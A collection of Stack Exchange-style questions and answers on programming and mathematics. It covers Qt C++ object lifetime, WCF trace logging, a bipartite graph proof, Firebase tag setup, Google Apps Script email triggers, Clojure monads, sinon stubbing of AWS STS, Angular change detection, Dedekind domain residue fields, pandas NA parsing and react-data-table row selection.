    else
    {
        ui->lcdNumber_pointsPlayerOne->show();
        ui->lcdNumber_pointsPlayerTwo->show();
    }
}

maindwindow.cpp
#ifndef PLAYER_H
#define PLAYER_H

#define NORMAL_RARITY 1
#define GOLDEN_NORMAL_RARITY 1
#define RARE_RARITY 1
#define GOLDEN_RARE_RARITY 1
#define EPIC_RARITY 1
#define GOLDEN_EPIC_RARITY 1
#define LEGENDARY_RARITY 1
#define GOLDEN_LEGENDARY_RARITY 1
#define POINTS_FOR_RARITY 1

#include <sstream>
#include <string>
#include <QObject>
#include <QWidget>
#include <QTextEdit>
#include <QString>
#include <QLCDNumber>

class Player : public QWidget
{
    Q_OBJECT
private:
    static int _instance;
    int _id;
    int _roundpoints = 0;
    int _points = 0;
    int _cardsPerRound = 0;
    QTextEdit * _textEdit;
    QLCDNumber * _pointDisplay;
public:
    Player(QWidget *parent = nullptr, QTextEdit * textEdit = nullptr, QLCDNumber *pointDisplay = nullptr);
public slots:
    int returnPoints() const;
    std::string returnRoundpoints() const;
    void addNormal();
    void addGoldenNormal();
    void addRare();
    void addGoldenRare();
    void addEpic();
    void addGoldenEpic();
    void addLegendary();
    void addGoldenLegendary();
    void addRoundPoints();
    void resetPoints();
    void resetRoundPoints();
};

#endif // PLAYER_H

player.h
#include "player.h"
#include <QDebug>

Player::Player(QWidget *parent, QTextEdit *textEdit, QLCDNumber *pointDisplay) : QWidget(parent), _id(_instance++), _textEdit(textEdit), _pointDisplay(pointDisplay)
{

}

int Player::returnPoints() const
{
    return _points;
}

std::string Player::returnRoundpoints() const
{
    std::stringstream s;
    s << "In dem aktuellen Pack haben Sie eine Punktzahl von " << _roundpoints << " erreicht.";
    return s.str();
}

void Player::addNormal()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / NORMAL_RARITY;
   _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addGoldenNormal()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / GOLDEN_NORMAL_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addRare()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / RARE_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addGoldenRare()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / GOLDEN_RARE_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}
void Player::addEpic()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / EPIC_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addGoldenEpic()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / GOLDEN_EPIC_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addLegendary()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / LEGENDARY_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addGoldenLegendary()
{
    qDebug() << "hitting the method";
    _roundpoints += POINTS_FOR_RARITY / GOLDEN_LEGENDARY_RARITY;
    _textEdit->setText(QString::fromStdString(returnRoundpoints()));
}

void Player::addRoundPoints()
{
    qDebug() << "hitting the method";
    if(_cardsPerRound == 4)
    {
        _points += _roundpoints;
        resetRoundPoints();
        _textEdit->setText(QString::fromStdString(returnRoundpoints()));
        _pointDisplay->display(_points);
    }
    else
    {
        std::stringstream s;
        s << "Sie haben für das Pack nur " << _cardsPerRound + 1 << "ausgewählt";
        _textEdit->setText(QString::fromStdString(s.str()));
    }
}

void Player::resetPoints()
{
    qDebug() << "hitting the method";
    _points = 0;
}

void Player::resetRoundPoints()
{
    qDebug() << "hitting the method";
    _roundpoints = 0;
    _cardsPerRound = 0;
}

int Player::_instance = 0;

player.cpp
#include "mainwindow.h"
#include "player.h"
#include <QApplication>
#include <QObject>
#include <QPushButton>

int main(int argc, char *argv[])
{
    QApplication a(argc, argv);
    MainWindow w;
    w.show();

    return a.exec();
}

main.cpp

A: Careful, you are creating the objects player one and player two inside MainWindow's constructor (in the stack). When the constructor end is reached, playerOne and playerTwo objects are destructed. Make playerOne and playerTwo members of MainWindow, so they continue existing after the constructor has ended, and everything will be fine.


text:
Q: WCF trace log override old messages I would like to limit the number of log files that the WCF trace is writing.
in order to so, I used the maxMessagesToLog attribute.
What happen when it gets to its limit, let say 2000 messages?
does it stop writing or it override the old messages?
I would like to override the old message. How i'm doing it?
What is the best practice?
thanks

A: You can implement a circular trace listener to reach what you want. With it you can set the maximum file size the trace log can get. After reaching it the old entries get overridden.
See this sample and explanation on MSDN


text:
Q: Show that if a bipartite graph $G = (V, E)$ with bipartition $V = A \cup B$ is $k$-regular, then $|A| = |B|$. A graph is $k$-regular if every vertex has degree $k$. Show that if a bipartite graph $G = (V, E)$ with bipartition $V = A \cup B$ is k-regular, then $|A| = |B|$.
I dont understand it. Please explain and show the proof so I can understand.

A: Here's a hint.  Say $|A| = a$, $|B| = b$.  How many edges are there coming out of $A$? How many edges are there coming into $B$?


text:
Q: Using Google Tag Manager in Firebase instead of GTAG I am kind of confused with all this Google Analytics Services and I have an issue in my app.
My application is using Firebase, and we currently have an integration with Google Analytics.
This produce the following GTAG
<script src="https://www.googletagmanager.com/gtag/js?l=dataLayer&id=G-XXXXXXXXX" async=""></script>

when we deploy our app.
From what I understand, this is using a GTAG which is an tag that can be used in Google Tag Manager but it is not actually a Google Tag Manager script.
Now, we have a Google Tag Manager account that we would like to use to enable tracking in Google Analytics and Azure Clarity. The problem, from what I see here is that we should not be using a Google Tag Manager and a GTAG together.
But I can't find a place in firebase where we use a Google Tag Manager account instead of a GTAG, and turning of the GTAG would cause feature like A/B testing to be unavailable.
My question is, is there a way to use GTM directly from firebase, or how can I proceed with this integration ?


text:
Q: Google Script sending automated email on delay I'm having a particular issuing when using Google script editor.
I having a spreadsheet that once a form is submitted, it pulls the name from the form and pulls their email. Then sends them an email.
For some reason, it's sending the email, heavily delayed at about an hour. There's only been two changes since it's been working. 1. For some reason the spreadsheet keeps reverting to Central Time instead of Eastern (messing up the time stamps) 2. I added array formulas at the top to solve for the form inputting new rows.
I can paste code here in a bit, but was hoping anyone had some insight.
I'm using GmailApp.sendemail
Here is the code
function onEdit(e) {
    var range = e.range;
    var row = range.getRow();
  //This is the section you change to line up the rows with the values you are trying to pull
  //The var defines the variable and the blue text is naming the return value
    var emailToColumn = 2; // B
    var answerColumn = 4; //D
    var statusColumn = 6; // F
    var questionColumn = 3; //C
    var emailStampColumn = 7; //G
    var sessionColumn = 10;
    var assignedToColumn = 5; //E
  //This tells the code which row to check and pull values from
    var stampCheck =  SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, emailStampColumn).getValue();
    var answerValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, answerColumn).getValue();
    var emailToValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, emailToColumn).getValue();
    var questionValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, questionColumn).getValue();
    var statusAnswer = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, statusColumn).getValue();
    var sessionValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, sessionColumn).getValue();
    var assignValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 3").getRange(row, assignedToColumn).getValue();

     //This is a check to make sure email is answered
    if ( statusAnswer == 'Assigned' && stampCheck.length == 0 ) {
     var emailAssign = assignValue;
      //This is the actual email text
        var subject = "You Have Been Assigned A Question";
  var htmlStr = "";
  htmlStr+= "
Hello,
";
  htmlStr+= "
This is to inform that you have been asked a question
";
  htmlStr+= "
Navigate to this link
";
  htmlStr+= "
Your question is in column C:
";
  htmlStr+= "
" + questionValue + "
";
  htmlStr+= "
Thank you!
";

  GmailApp.sendEmail(emailAssign, subject, "", {
    htmlBody: htmlStr})

    //var statusColumn = range.getColumn(); //5
    //var answerColumn = 3;
    //if ( range.getColumn() === answerColumn ) {
        //if ( e.value.length > 0 ) {
            //if ( SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses").getRange(range.getRow(), range.getColumn()) ) {

            //}
        //}
    //}
  //var progress = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses").getRange(range.getRow(), range.getColumn() + 2).getValue();
//   SpreadsheetApp.getUi().alert('Column changed FROM   ' + e.oldValue + '   TO   ' + e.value + '   AT   ' + range.getA1Notation() + '\t' + answerValue + '   ' + statusAnswer);
   //SpreadsheetApp.getUi().alert(answerValue.length + '   ' + statusAnswer);
    }

      //THIS IS WHERE SECOND PORTION OF CODE BEGINS

   //This is a check to make sure email is answered
    if ( answerValue.length > 0 && statusAnswer == 'Completed' && stampCheck.length == 0 ) {
     var emailTo = emailToValue;
      //This is the actual email text
  var subject = "Territory Tech Forum Answer";
  var htmlStr = "";
  htmlStr+= "
Hello,
";
  htmlStr+= "
This is line one of the email
";
  htmlStr+= "
This is line two - it is bolded because it has a bold tag surrounding it
";
  htmlStr+= "
Your question:
";
  htmlStr+= "
" + questionValue + "
";
  htmlStr+= "
The answer to your question:
";
  htmlStr+= "
" + answerValue + "
";
  htmlStr+= "
Thank you!
";

  GmailApp.sendEmail(emailTo, subject, "", {
    htmlBody: htmlStr})

  var stampValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses 2").getRange(row, emailStampColumn).setValue(new Date()).setNumberFormat("MM/dd/yyyy hh:mm");
    //var statusColumn = range.getColumn(); //5
    //var answerColumn = 3;
    //if ( range.getColumn() === answerColumn ) {
        //if ( e.value.length > 0 ) {
            //if ( SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses").getRange(range.getRow(), range.getColumn()) ) {

            //}
        //}
    //}
  //var progress = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Form Responses").getRange(range.getRow(), range.getColumn() + 2).getValue();
//   SpreadsheetApp.getUi().alert('Column changed FROM   ' + e.oldValue + '   TO   ' + e.value + '   AT   ' + range.getA1Notation() + '\t' + answerValue + '   ' + statusAnswer);
   //SpreadsheetApp.getUi().alert(answerValue.length + '   ' + statusAnswer);

}
}

A: It would be better to use onFormSubmit and the FormResponse class to gather item responses and send the email. OnEdit is based on user edits of a spreadsheet which isn't exactly what happens when a form is submitted
Have you tried logging the start time of the script and tracking the time throughout the process? You can use the code below in multiple locations throughout the script.
var processStartTime = new Date();
Logger.log('processStartTime: '+ processStartTime)
This will help identify if the script is running slowly or is being triggered at the wrong time.
Check if the script your triggered by onFormSubmit, it should not be Time based.
Is the script stored in the form, in the spreadsheet or is it a Standalone? This is unlikely to be causing the problem, but is possible.


text:
Q: Implementing Reduce as a Monadic Map in via org.clojure/algo.monads Context
I'm currently reading about Clojure's implementation of monads: org.clojure/algo.monads
Intuitively, reduce looks like a state-m applied to a map. Basically, there's the "state" which is the value so far.
Now, I can't make this work in the "standard way because:"
(domonad state-m
   [ ... I can only stuff a constant number of things here ...
     ... but I need to stuff here a list whose size is only known at run time ... ]
    ..)

Question
Is there some way to implement reduce as a monad using state-m?
I know I would never use this in practice, this is purely for enlightenment + better understanding how things fit together.
Thanks!

A: I don't think what you are asking for is possible using domand macro (without runtime code generation and evaling it). One option would be to use m-bind and m-result functions of the state monad directly to get the desired behavior.

A: The state monad itself doesn't have any concept of iteration over lists. So you can't do this directly using the state monad.
You could use a state monad in a loop to emulate reduce - but the loop itself would be what is providing the reduce-like behaviour, the state monad itself wouldn't really be contributing anything.


text:
Q: how to stub and expect a call to this aws-sdk service using sinon and chai I have this exported function and I'd like to test that sts.assumeRole gets called:
const AWS = require('aws-sdk')
const sts = new AWS.STS();

module.exports.assumeRole = async (roleArn) => {
  let params = {
    RoleArn: roleArn,
    RoleSessionName: 'MessagingSession',
  }

  return await sts.assumeRole(params).promise()
}

This is what I have tried:
const chai = require('chai')
const expect = chai.expect
const sinon = require('sinon')
chai.use(require('sinon-chai'))
const AWS = require('aws-sdk')

describe('assumeRole', () => {
  it('throws an exception if roleArn is not present', async () => {
    const authenticationService = require('../services/authenticationService.js')
    await expect(authenticationService.assumeRole('')).to.eventually.be.rejectedWith('no ARN present')
  })

  it('calls sts assumeRole', () => {
    const stsStub = sinon.stub({ assumeRole: () => {} });
    const awsStub = sinon.stub(AWS, 'STS');
    awsStub.returns(stsStub);

    const authenticationService = require('../services/authenticationService.js')

    authenticationService.assumeRole('a-role-arn')

    expect(stsStub).to.have.been.calledOnce
  })
})

This results in TypeError: { assumeRole: [Function: assumeRole] } is not a spy or a call to a spy!
I'm new to spies and stubs and javascript testing, any help is appreciated in getting this test working!
Note: I want to be using the expect assertion syntax and don't want to use any other external packages
EDIT: now using slideshowp2 's solution I have the following:
const chai = require('chai')
chai.use(require('chai-as-promised'))
const expect = chai.expect
const sinon = require('sinon')
chai.use(require('sinon-chai'))
const AWS = require('aws-sdk')

describe('assumeRole', () => {
  it('throws an exception if roleArn is not present', async () => {
    const authenticationService = require('../services/authenticationService.js')
    await expect(authenticationService.assumeRole('')).to.eventually.be.rejectedWith('no ARN present')
  })

  it('calls sts.assumeRole', async () => {
    const stsFake = {
      assumeRole: sinon.stub().returnsThis(),
      promise: sinon.stub(),
    };
    const STSStub = sinon.stub(AWS, 'STS').callsFake(() => stsFake);
    const authenticationService = require('../services/authenticationService.js')

    await authenticationService.assumeRole('a-role-arn')

    sinon.assert.calledOnce(STSStub);
    sinon.assert.calledWith(stsFake.assumeRole, { RoleArn: 'a-role-arn', RoleSessionName: 'MessagingSession' });

    STSStub.restore();
  })
})

These two tests now work and pass independently but run all together the second one fails.  I get the error ValidationError: 1 validation error detected: Value 'a-role-arn' at 'roleArn' failed to satisfy constraint: Member must have length greater than or equal to 20 It looks like the STS library is not being stubbed anymore

A: Here is the unit test solution:
index.js:
const AWS = require('aws-sdk');
const sts = new AWS.STS();

module.exports.assumeRole = async (roleArn) => {
  let params = {
    RoleArn: roleArn,
    RoleSessionName: 'MessagingSession',
  };

  return await sts.assumeRole(params).promise();
};

index.test.js:
const sinon = require('sinon');
const AWS = require('aws-sdk');

describe('62918753', () => {
  it('should pass', async () => {
    const stsFake = {
      assumeRole: sinon.stub().returnsThis(),
      promise: sinon.stub(),
    };
    const STSStub = sinon.stub(AWS, 'STS').callsFake(() => stsFake);
    const authenticationService = require('./');
    await authenticationService.assumeRole('a-role-arn');
    sinon.assert.calledOnce(STSStub);
    sinon.assert.calledWith(stsFake.assumeRole, { RoleArn: 'a-role-arn', RoleSessionName: 'MessagingSession' });
    STSStub.restore();
  });
});

unit test result with coverage report:
  62918753
    ✓ should pass (919ms)

  1 passing (926ms)

----------|---------|----------|---------|---------|-------------------
File      | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
----------|---------|----------|---------|---------|-------------------
All files |     100 |      100 |     100 |     100 |
 index.js |     100 |      100 |     100 |     100 |
----------|---------|----------|---------|---------|-------------------


text:
Q: Angular 2 change detection before and after service method is called I have a component that, when triggered by changed Input(), retrieves a new set of data from a service. I want my view to update before and after I retrieve the data. I've tried ngZone, ChangeDetectionRef, but nothing is working for me. Any suggestions appreciated!
mycomponent.component.html
  <p>{{ loading }}</p>

mycomponent.component.ts
  public loading: boolean;

  ngOnChanges(changes: SimpleChanges) {
    if (changes["mytrigger"]) {
      // WANT TO SET LOADING TO TRUE
      this.loading = true;
      this.myservice.getNewState().then((newState) => {
        // WANT TO SET LOADING TO FALSE
        this.loading = false;
      });
    }
  }

If I use NgZone, and place a debugger after each 'this.loading' statement, I can see the changes, but I can't see the changes in real time.


text:
Q: Characteristic of residue field in a Dedekind domain. Let's consider a Dedekind domain $A$ with field of fractions $K$. Let $L$ be a finite Galois extension of $K$ and $B$ the integral closure of $A$ in $L$. Let $\mathfrak{p}\subset A$ be a non-zero prime ideal and $\mathfrak{P} \subset B$ a prime lying above $\mathfrak{p}$. Let $L'$ be the inertia field of $\mathfrak{P}$ and let $\mathfrak{P}':=\mathfrak{P}\cap L'$. Denote by $k(\mathfrak{P})$, $k(\mathfrak{P}')$, $k(\mathfrak{p})$ the respective residue fields.
In class we proved that $k(\mathfrak{P}')$ is the maximal separable subextension of $k(\mathfrak{P})/k(\mathfrak{p})$ and a step of the proof says that the extension $k(\mathfrak{P})/k(\mathfrak{P'})$ is purely inseparable. But to say this I should know that the characteristic of the residue field is positive. How do I know this? Does it follow from some properties of Dedekind domains? Is it some known fact? In my notes there's nothing about it.
The proposition in a more elaborated form) is stated as Thm. 24 on p. 292 of Commutative Algebra I by Zariski and Samuel (pdf), where he also says that the characteristic of the residue field is $p>0$, but I don't see why.


text:
Q: pandas read_excel function replacing "NA" with blanks? This is probably a trivial problem but I cannot see how to proceed:
I have a dataframe called data that is taken from an excel file:
data = pd.read_excel("C:\\Users\\firstname.lastname\\Desktop\\variable+".xlsx", sheet_name=variable2, na_values='', usecols="A,B", skiprows=range(2))

This works fine to load the file however in column B there is a string that is precisely equal to "NA", in the resulting dataframe this doesn't show as NA but just appears blank.
I am assuming that pandas is interpreting this NA as a blank and as such leaving it empty.
But this is a legitimate NA and I want it to say NA not blank.
I have tried replacing:
na_values='NA'

and also using regex to replace the column values that are blank with "NA" (not the best solution I admit but would work in this case as column B has only one NA that becomes blank.
df.replace(r'^\s+$', np.nan, regex=True)

What am I doing wrong?

A: According to the pandas documentation, try to add keep_default_na=False to the parameters of pd.read_excel


text:
Q: React data table component. How to dynamically select rows I have a DataTable with the following columns:
const columns = [
    {   name: "Matric",
        selector: "matric",
        sortable: true
    },
    {
        name: "Forename",
        selector: "forename",
        sortable: true
    },
    {
        name: "Surname",
        selector: "surname",
        sortable: true
    }
]

    <DataTable
        pagination
        selectableRows
        columns = {columns}
        data = {studentData}
        defaultSortField="matric"
    />

SelectableRows adds a checkbox to each row. I'm using the datatable to take attendance but I was hoping to also allow the user to upload the attendance via a .csv, or if an attendance record already exists it will display it in the datatable.
By uploading the csv or fetching the attendance record, I'm hoping that the datatable will rerender with the respective rows checked so the user can double check. But I'm not sure how to select a row on render.
Any help would be great!

A: Just pass a prop with the prop with the rows you want checked: selectedData = { studentData[0], studentData[1] }

A: This is deprecated. We have to use a row format like row => row.name.

A: for the dynamic row, we have to use a format like this
col.push({name: fields_map[key], selector: row => {return row[key] } })